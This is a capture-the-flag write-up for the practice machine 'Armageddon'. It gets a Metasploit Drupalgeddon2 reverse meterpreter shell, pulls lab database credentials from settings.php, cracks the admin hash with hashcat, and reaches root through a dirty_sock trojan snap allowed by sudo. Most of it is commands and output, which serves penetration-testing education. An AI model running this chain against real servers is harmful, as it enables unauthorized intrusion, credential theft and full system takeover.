Armageddon Writeup

Reconnaissance & Enumeration

Like always, starting off with port enumeration.

sudo nmap -v -sC -sV -oN nmap -p- armageddon.htb

Scan report:

# Nmap 7.91 scan initiated Sat Mar 27 22:00:11 2021 as: nmap -v -sC -sV -oN nmap -p- armageddon.htb
Nmap scan report for armageddon.htb (
Host is up (0.063s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon"

Looks like there isn’t anything out of ordinary, just the usual SSH and a web service on port 80.

Getting user

Visiting the website shows a login page with the option to register an account

Looking at the source code of the page we can see that it uses Drupal 7, so let’s see what we can find about it.

After a little googling I’ve found a possible metasploit module to exploit the CMS.

Let’s try if we can get initial shell using this module.

msf6 > search drupal 7

Matching Modules

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   1  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   4  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   5  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   6  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution

Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval

msf6 > use 4
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS armageddon.htb
RHOSTS => armageddon.htb
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on
[*] Sending stage (39282 bytes) to
[*] Meterpreter session 1 opened ( -> at 2021-03-28 23:03:08 +0100

meterpreter >

Nice, we have a shell. After getting the initial shell, I read about how Drupal 7 works and where it stores the sensitive information.

It turns out, that Drupal has a settings.php in the sites/default directory.

Let’s see if we can get something from the file.

meterpreter > ls
Listing: /var/www/html/sites/default

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  26250  fil   2017-06-21 19:20:18 +0100  default.settings.php
40775/rwxrwxr-x   37     dir   2020-12-03 12:32:39 +0000  files
100444/r--r--r--  26565  fil   2020-12-03 12:32:37 +0000  settings.php

meterpreter > cat settings.php

 * @endcode
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',

meterpreter >

In the settings.php we can find the credentials to the mysql database of the target machine.

Let’s see what is inside the database.

mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal;show tables'
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal;select * from users;'
uid     name    pass    mail    theme   signature       signature_format        created access  login   status  timezone  language        picture init    data
0                                               NULL    0       0       0       0       NULL            0        NULL
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt      filtered_html    1606998756      1607077194      1607076276      1       Europe/London           0       a:1:{s:7:"overlay";i:1;}

After listing the rows of the users table in the drupal database, I’ve found the hashed password of the brucetherealadmin user.

To crack the password I’ve used hashcat with the hash-mode: 7900 and the rockyou wordlist.

└─$ hashcat -m 7900 hash --show

Using these credentials, we can access the target machine through SSH.

Getting root

I’ve started with basic priv. esc. enumeration. Listing the allowed sudo commands we find out that we can run the following command as sudo without authentication: /usr/bin/snap install *

ssh brucetherealadmin@armageddon.htb
Warning: Permanently added the ECDSA host key for IP address '' to the list of known hosts.
brucetherealadmin@armageddon.htb's password:
Last login: Tue Mar 23 12:40:36 2021 from
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS
    XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *
[brucetherealadmin@armageddon ~]$

Looking up similar exploitations I’ve found the dirty_sock (GitHub) Linux Privilege Escalation.

dirty_sock explained

It wasn’t that easy though. The method described in the article won’t give us root access but we can use some parts of the python tool. The trojan snap payload is perfect for us, so let’s build the .snap file using the file.

The following command will create the snap file that we’ll install on the target machine.


Now that we have created the snap package let’s install it.

[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install ./exploit.snap
error: cannot find signatures with metadata for snap "./exploit.snap"
[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install --devmode ./exploit.snap
dirty-sock 0.1 installed

The payload leverages the vulnerability to install an empty “devmode” snap including a hook that adds a new user to the local system. This user will have permissions to execute sudo commands.

After the installation we should have a user called dirty_sock. The password of the user is also dirty_sock.

Using this newly created user we can easily get root access and grab the flag:

[brucetherealadmin@armageddon ~]$ su dirty_sock

[dirty_sock@armageddon brucetherealadmin]$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dirty_sock:
[root@armageddon brucetherealadmin]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@armageddon brucetherealadmin]#